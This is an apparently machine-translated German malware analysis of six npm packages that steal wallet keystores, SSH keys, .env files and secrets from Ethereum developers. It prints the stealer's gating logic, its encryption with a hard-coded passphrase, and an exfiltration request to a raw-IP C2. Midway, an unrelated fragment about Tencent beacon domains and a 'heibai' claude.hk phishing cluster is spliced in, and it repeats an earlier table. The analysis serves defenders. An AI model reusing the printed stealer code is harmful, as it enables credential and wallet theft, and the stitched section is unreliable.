TL; DR
Am 6. Mai 2026 wird ein einzelner npm-Publisher namikazesarada010206, hat sechs schädliche Pakete verbreitet, die auf das Entwickler-Ökosystem von Ethereum, Solidity und DeFi abzielen.
Die Pakete, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils und web3-utils-core, verwendeten plausible Namen, die wie Hilfsbibliotheken für gängige Web3-Tools aussehen sollten.
Alle sechs Packungen enthielten dasselbe telemetry.js Datei. Die Datei war im gesamten Cluster byte-identisch und hatte folgenden SHA-256-Hash:
Die Malware wird bei der Installation nicht ausgeführt. Es gibt keine preinstall or postinstall Stattdessen wird es aktiviert, wenn das Paket über den Hook importiert wird. require().
Dieses Detail ist wichtig.
Das Implantat wartet, bis ein Entwickler das Paket tatsächlich verwendet. Dann prüft es, ob die Workstation einer echten Ethereum-/Solidity-Entwicklungsumgebung entspricht. Es sucht nach Alchemy- oder Infura-Schlüsseln, privaten Schlüsseln, Mnemonics, Deployer-Schlüsseln oder einem lokalen Foundry-Verzeichnis.
Wenn der Host übereinstimmt, sammelt der Stealer SSH-Privatschlüssel sowie Schlüsselspeicher der Wallets Foundry/Geth/Brownie. .env* Dateien und sensible Umgebungsvariablen werden verschlüsselt. Das Paket wird mit AES-256-GCM unter Verwendung einer fest codierten Passphrase verschlüsselt und an einen unverschlüsselten IPv4-C2-Endpunkt mit deaktivierter TLS-Verifizierung exfiltriert.
Das Malware-Frühwarnsystem (MEW) von Xygeni bestätigte, dass alle sechs Pakete schädlich sind. Der Bericht zur Entfernung aus dem npm-Repository steht noch aus.
Das Cluster: Sechs Pakete, ein Verlag
Das Herausgeberkonto namikazesarada010206 wurde mit der nicht verifizierten Gmail-Adresse verknüpft namikazesarada010206@gmail.com.
Die Kampagne startete am 6. Mai 2026 als eintägige Veröffentlichungsaktion. Alle sechs Pakete wurden in folgenden Versionen angeboten: 1.0.0Es hatte keinerlei Laufzeitabhängigkeiten und lieferte nur drei Dateien aus:
package.json
index.js
telemetry.jsSie haben außerdem dasselbe Quellcode-Repository angegeben:
https://github.com/harunosakura030303-maker/evmchain-configDie ersten drei Pakete wurden bei ihrer ersten Veröffentlichung von MEW-Scannern erkannt. Die verbleibenden drei wurden nach einer Überprüfung des npm-Profils des Herausgebers durch Analysten zwangsweise markiert. Sobald die gleiche byteidentische telemetry.js Da dies im gesamten Cluster bestätigt wurde, wurden sie aufgrund der Übereinstimmung als bösartig eingestuft.
| Verpackung | Version | npm veröffentlicht | MEW-Ticket | Urteil |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Bösartig |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Bösartig |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Bösartig |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Bösartig, aufgrund seiner Konstanz. |
| Foundry-Utils | 1.0.0 | 2026-05-06 | #51071 | Bösartig, aufgrund seiner Konstanz. |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Bösartig, aufgrund seiner Konstanz. |
Die Namensstrategie ist einfach, aber effektiv.
Diese Pakete imitieren nicht die exakten Namen der Originalpakete. Stattdessen verwenden sie plausible „Utility“-Suffixe wie zum Beispiel -core, -utils und -utils-coreDadurch wirken sie wie Begleitbibliotheken, die ein Entwickler in der Nähe von Web3-Tools erwarten würde.
| Schadpaket | Legitimes Ziel |
|---|---|
| viem-core | viem, ein beliebter Ethereum TypeScript-Client |
| viem-utils-core | Viem |
| hardhat-core-utils | Hardhat, eine gängige Solidity-Entwicklungsumgebung |
| evm-utils | Generischer EVM-Tooling-Namespace |
| Foundry-Utils | Foundry, eine Solidity-Toolchain |
| web3-utils-core | web3-utils, Web3.js-Hilfsprogramme |
Dies ist das Muster des „Zusatzpakets“: nicht „Ich bin das eigentliche Paket“, sondern „Ich sehe aus wie ein vernünftiger Helfer um das eigentliche Paket herum.“
Für DeFi-Entwickler, die schnell agieren, birgt das bereits ein gewisses Risiko.
Was passiert beim Import des Pakets?
Die Angriffskette ist klein, gezielt und auf Krypto-Entwicklungsumgebungen ausgerichtet.
Es gibt keinen Installations-Hook. Stattdessen enthält jedes Paket eine index.js Das exportiert eine Stub-Funktionalität und lädt dann das bösartige Telemetriemodul.
require('./telemetry').init();Das bedeutet, dass die Schadsoftware beim ersten Import aktiviert wird.
Das ist für Angreifer operativ nützlich. Viele Scanner und Sandboxes konzentrieren sich auf das Verhalten während der Installation. Dieses Paket wartet, bis es tatsächlich von einem Entwickler, einem Build-Skript, einer Testsuite oder einem Laufzeitpfad verwendet wird.
Aktivierungstor: Funktioniert nur auf echten Web3-Entwickler-Workstations
Der wichtigste Teil des Implantats ist das Aktivierungstor.
Die Malware sucht nach Umgebungsvariablen, die üblicherweise auf Entwicklerrechnern von Ethereum/Solidity zu finden sind:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);Es wird auch geprüft, ob Foundry installiert zu sein scheint:
fs.existsSync(path.join(os.homedir(), '.foundry'))Wenn keine der beiden Bedingungen zutrifft, gibt die Funktion einen Wert zurück und tut nichts.
Dadurch wird das Paket in allgemeinen Analyseumgebungen weniger auffällig. In einer Sandbox ohne Foundry-, Alchemy-, Infura-, private oder mnemonische Schlüssel kann der Import harmlos erscheinen.
Auf einem passenden Host wartet die Malware 60 bis 90 Sekunden, bevor sie Daten sammelt:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();Die Verzögerung verringert die offensichtliche Korrelation zwischen Import und Exfiltration. .unref() Der Aufruf ermöglicht es dem Hostprozess außerdem, sich normal zu beenden, wenn das Paket in einem kurzlebigen Skript importiert wurde.
Dies ist kein unkontrolliertes, wahlloses Zugriffsverhalten. Es handelt sich um einen gezielten Stealer, der nur dann ausgeführt wird, wenn die Entwicklerumgebung einen solchen Zugriff wert ist.
Was der Dieb sammelt
Sobald die Aktivierungsschwelle überschritten ist, sammelt die Malware Daten aus Quellen, die für die Web3-Entwicklung von größter Bedeutung sind: private Schlüssel, Wallet-Keystores, Deployment-Anmeldeinformationen, Cloud-Secrets, npm-Tokens und lokale Projektkonfigurationen.
| Quelle | Was wird gesammelt? |
|---|---|
| prozess.env | Jede Variable, die mit /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i übereinstimmt |
| ~/.ssh/* | Dateien, die PRIVATE KEY oder BEGIN OPENSSH enthalten, einschließlich des vollständigen Dateiinhalts |
| ~/.foundry/keystores/* | Foundry Wallet Keystore-Dateien |
| ~/.ethereum/keystore/* | Geth Wallet Keystore-Dateien |
| ~/.brownie/accounts/* | Brownie Wallet Keystore-Dateien |
| ${cwd}/.env | Vollständiger Dateiinhalt |
| ${cwd}/.env.local | Vollständiger Dateiinhalt |
| ${cwd}/.env.production | Vollständiger Dateiinhalt |
| ${cwd}/.env.development | Vollständiger Dateiinhalt |
| os.hostname() | Host-Metadaten |
| crypto.randomUUID() | Opfer-/Sitzungskennung |
| Datum.jetzt() | Sammlungszeitstempel |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comDie ATTA-Token sind:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937Wir konnten nicht bestätigen, ob es sich bei den Telemetriedaten um die eigenen Analysedaten des Betreibers oder um einen separat monetarisierten Kanal handelte. Die ATTA-Token sind in beiden untersuchten Stichproben identisch.
Cluster B: heibai
claude.hk OAuth-Phishing + ANTHROPIC_BASE_URL-Hijacking
Die am 1. April entnommene Probe ist der gröbere, frühere Teil der Kampagne.
heibai:2.1.88-claude.hk-4 wurde veröffentlicht von wuguoqiangvip28, ein Konto, erstellt am 7. Juni 2025. Das Paket hat sich explizit anhand der legitimen Versionsnummer selbst versioniert. 2.1.88 Anthropische Freisetzung.
Es kümmert sich nicht um CA-Zertifikat-MITM. Stattdessen täuscht es den Benutzer bezüglich des OAuth-Endpunkts.
Zu den bösartigen Ergänzungen des durchgesickerten Claude-Code-Quellcodes gehören:
| Quelle | Was wird gesammelt? |
|---|---|
| prozess.env | Jede Variable, die mit /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i übereinstimmt |
| ~/.ssh/* | Dateien, die PRIVATE KEY oder BEGIN OPENSSH enthalten, einschließlich des vollständigen Dateiinhalts |
| ~/.foundry/keystores/* | Foundry Wallet Keystore-Dateien |
| ~/.ethereum/keystore/* | Geth Wallet Keystore-Dateien |
| ~/.brownie/accounts/* | Brownie Wallet Keystore-Dateien |
| ${cwd}/.env | Vollständiger Dateiinhalt |
| ${cwd}/.env.local | Vollständiger Dateiinhalt |
| ${cwd}/.env.production | Vollständiger Dateiinhalt |
| ${cwd}/.env.development | Vollständiger Dateiinhalt |
| os.hostname() | Host-Metadaten |
| crypto.randomUUID() | Opfer-/Sitzungskennung |
| Datum.jetzt() | Sammlungszeitstempel |
Die Zielliste ist sehr spezifisch. Es handelt sich nicht um allgemeinen Browserdiebstahl oder das Ausspähen von Zugangsdaten im großen Stil. Gezielt sind Entwickler, die Ethereum-Anwendungen erstellen, testen, bereitstellen oder betreiben.
Die Einbindung der Keystores von Foundry, Geth und Brownie ist besonders wichtig. Diese Dateien können direkten Zugriff auf Wallets oder Deployment-Identitäten ermöglichen. Gelingt es Angreifern, diese mit Passwörtern, Wiederherstellungsschlüsseln oder Umgebungsgeheimnissen zu kombinieren, können sie möglicherweise Gelder transferieren, sich als Deployer ausgeben oder Smart-Contract-Operationen kompromittieren.
Verschlüsselung vor der Datenexfiltration
Die Schadsoftware verschlüsselt die gesammelten Daten, bevor sie diese versendet.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Die fest codierte Passphrase lautet:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dDie endgültige Nutzlast ist als JSON verpackt:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Verschlüsselung macht Schadsoftware an sich nicht fortschrittlicher. Sie erschwert jedoch die Netzwerküberwachung. Ein Verteidiger, der den ausgehenden Datenverkehr überwacht, würde zwar eine JSON-Nutzlast sehen, aber nicht die gestohlenen Schlüssel, Wallet-Dateien oder … .env Inhalte ohne die fest codierte Passphrase und Entschlüsselungslogik.
Exfiltration zu einem Raw IPv4 C2
Der Exfiltrationspfad ist fest codiert:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});Die Schadsoftware sendet Daten an:
https://76.13.37.80:8443/api/v1/telemetryZwei Details fallen besonders auf.
Erstens handelt es sich bei der C2-Adresse um eine einfache IPv4-Adresse und nicht um eine Domäne. Dadurch entfällt die Notwendigkeit einer Domänenregistrierung und einige domänenbasierte Erkennungsmechanismen werden vermieden.
Zweitens ist die TLS-Verifizierung deaktiviert mit:
rejectUnauthorized: falseDadurch kann die Schadsoftware beliebige Zertifikate akzeptieren, einschließlich selbstsignierter Zertifikate. Mit anderen Worten: Der Angreifer erhält verschlüsselte Datenübertragung, ohne ein gültiges öffentliches Zertifikat zu benötigen.
Es gibt keine Wiederholungslogik und keinen Ausweichhost. Fehler werden stillschweigend ignoriert. Dadurch bleibt das Paket unauffällig, falls der C2-Server offline oder nicht erreichbar ist.
Warum diese Kampagne wichtig ist
Die meisten bösartigen npm-Pakete, die auf Entwickler abzielen, versuchen, an umfassende Zugangsdaten zu gelangen: npm-Tokens, AWS-Schlüssel, GitHub-Tokens oder .npmrc Dateien.
Diese Kampagne verengt den Zielkreis.
Es sucht nach Anzeichen dafür, dass die Maschine einem Ethereum- oder Solidity-Entwickler gehört. Dann ruft es genau die Assets ab, die in dieser Umgebung wichtig sind: Wallet-Keystores, private Schlüssel, Mnemonics, Deployer-Schlüssel, .env Dateien und SSH-Schlüssel.
Das macht die Kampagne für Web3-Teams gefährlicher als einen generischen npm-Stealer.
Eine erfolgreiche Infektion könnte Folgendes aufdecken:
- Bereitstellungs-Wallets
- Smart-Contract-Administratorschlüssel
- RPC-Anbieterschlüssel
- Anmeldeinformationen für die Cloud-Bereitstellung
- npm-Veröffentlichungstoken
- SSH-Zugriff auf die Entwickler- oder Build-Infrastruktur
- Projektgeheimnisse werden gespeichert in
.envDateien - Wallet-Keystores für Foundry, Geth oder Brownie
Die Paketnamen zeugen ebenfalls von klarem Social Engineering. Sie zielen über vertraute Toolnamen auf das Web3-Entwickler-Ökosystem ab: viem, hardhat, foundry, evm und web3.
Der Schauspieler muss die realen Projekte nicht beeinträchtigen. Er benötigt lediglich einen Entwickler, der ein scheinbar sinnvolles Begleitpaket installiert.
Indikatoren für eine Kompromittierung und deren Aufdeckung
| Pakete und Herausgeber | |
|---|---|
| Feld | Wert |
| npm-Publisher | namikazesarada010206 |
| E-Mail-Adresse des Herausgebers | namikazesarada010206@gmail.com |
| Email überprüft | Nein |
| SCM verified | Nein |
| Reputationspunktzahl | 1.0 |
| Pakete | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core |
| Versionen | Alle 1.0.0 |
| Quellcode-Repository | https://github.com/harunosakura030303-maker/evmchain-config |
| Bestätigt bösartig | Alle sechs Pakete |
| Netzwerk | |
|---|---|
| Typ | Wert |
| C2-Endpunkt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-Anschluss | 8443 / TCP |
| TLS-Verhalten | rejectUnauthorized: false |
| Nutzlastschema | {"v":2,"iv": ,"D": ,"T": } |
| Dateien und Hashes | |
|---|---|
| Typ | Wert |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Verpackungslayout | package.json, index.js, telemetry.js |
| Anzahl der Dateien | 3 |
| Ungefähre Gesamtgröße | 3.4 KB |
Aktivierungssignale
Die Schadsoftware prüft folgende Umgebungsvariablen:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEYEs prüft außerdem Folgendes:
~/.foundry/Ziel-Hostpfade
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.developmentSammlungs-Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iErkennungsnotizen
Mehrere Regeln erfassen diese Kampagne, ohne dass eine vollständige Verhaltensanalyse erforderlich ist.
Zuerst müssen die Sperrdateien nach den sechs schädlichen Paketnamen durchsucht werden:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-coreJede Übereinstimmung in package-lock.json, yarn.lock, pnpm-lock.yamlden node_modules Historische Ereignisse sollten als schwerwiegende Vorfälle behandelt werden.
Zweitens, überwachen Sie Node.js-Prozesse, die auf die Pfade des Wallet-Keystores zugreifen:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/Dies ist selten ein legitimes Verhalten für ein als Hilfsabhängigkeit importiertes Paket. Besonders verdächtig ist es, wenn anschließend ausgehende Netzwerkaktivitäten erfolgen.
Drittens, HTTPS-Verbindungen zu folgenden Verbindungen blockieren oder eine Warnung ausgeben:
76.13.37.80:8443Insbesondere wenn der Anfragepfad wie folgt lautet:
/api/v1/telemetryViertens, suchen Sie nach npm-Paketen, die diese Eigenschaften vereinen:
- Neuer oder wenig angesehener Verlag
- Nicht verifiziertes Gmail-Konto
- Web3-angrenzender Paketname
- Keine aussagekräftige Repository-Historie
- Layout für winzige Verpackungen
index.jsdas eine Telemetrie- oder Hilfsdatei lädt- Keine Laufzeitabhängigkeiten
- Erfassung sensibler Umgebungsvariablen
- Zugriff auf den Wallet-Schlüsselspeicher
Dieses Muster ist nützlicher als ein einzelner IOC, da das nächste Paket zwar die IP-Adresse ändern kann, die Targeting-Logik aber gleich bleibt.
Checkliste für die Reaktion auf Kompromisse
Wenn ein Entwickler eines der sechs Pakete verwendet hat und seine Umgebung mit dem Aktivierungsgate übereinstimmt, wird die Workstation als kompromittiert betrachtet.
Dies umfasst Maschinen mit installiertem Foundry, Alchemy- oder Infura-Schlüsseln in der Umgebung, privaten Schlüsseln, Mnemonics oder Deployer-Schlüsseln.
Empfohlene Antwort:
- Trennen Sie den Host vom Netzwerk.
- Bewahren
node_modules, Sperrdateien, Shell-Verlauf und relevante Protokolle für forensische Untersuchungen. - Rotieren Sie jedes SSH-Schlüsselpaar unter
~/.ssh/. - Wallet-Schlüssel für jeden Keystore rotieren unter
~/.foundry,~/.ethereumund~/.brownie. - Gelder in neue Wallets transferieren.
- Drehe jedes gespeicherte Geheimnis durch
.env*Dateien in Repositories, in denen der Entwickler gearbeitet hat. - Rotieren Sie Umgebungsgeheimnisse, die dem regulären Ausdruck der Sammlung entsprechen, einschließlich AWS-Schlüssel, npm-Token, Bereitstellungstoken, API-Schlüssel, private Schlüssel, Seeds und Mnemonics.
- Überprüfen Sie die Aktivitäten von Cloud, npm, GitHub, RPC-Provider und Blockchain seit der Erstinstallation des Pakets.
- Die Workstation muss vor der Wiederverwendung neu installiert werden.
Was Verteidiger mitnehmen sollten
Diese Kampagne zeigt, wie sich npm-Typosquatting im Umfeld von hochwertigen Entwickler-Ökosystemen entwickelt.
Der Akteur benötigte keine Persistenz. Er benötigte keine Verschleierung. Er benötigte nicht einmal eine Ausführung zur Installationszeit.
Stattdessen stützten sie sich auf drei Dinge:
- Plausible Web3-Paketnamen
- Aktivierung nur auf echten Krypto-Entwicklungsmaschinen
- Direkter Diebstahl der Dateien und Geheimnisse, die für Ethereum-Entwickler am wichtigsten sind.
Das macht die Kampagne bei einer allgemeinen Überprüfung leicht übersehbar und gefährlich, wenn sie im richtigen Umfeld landet.
Für Web3-Teams ist die Lehre klar: Abhängigkeitsnamen müssen als Teil des Bedrohungsmodells behandelt werden. Ein Paket, das wie ein harmloses Hilfsprogramm aussieht, kann dennoch der schnellste Weg zu einem Datenleck sein.
Der Fehler wurde der npm-Registry gemeldet. Wir werden diesen Beitrag aktualisieren, sobald das Herausgeberkonto und die Pakete entfernt wurden.
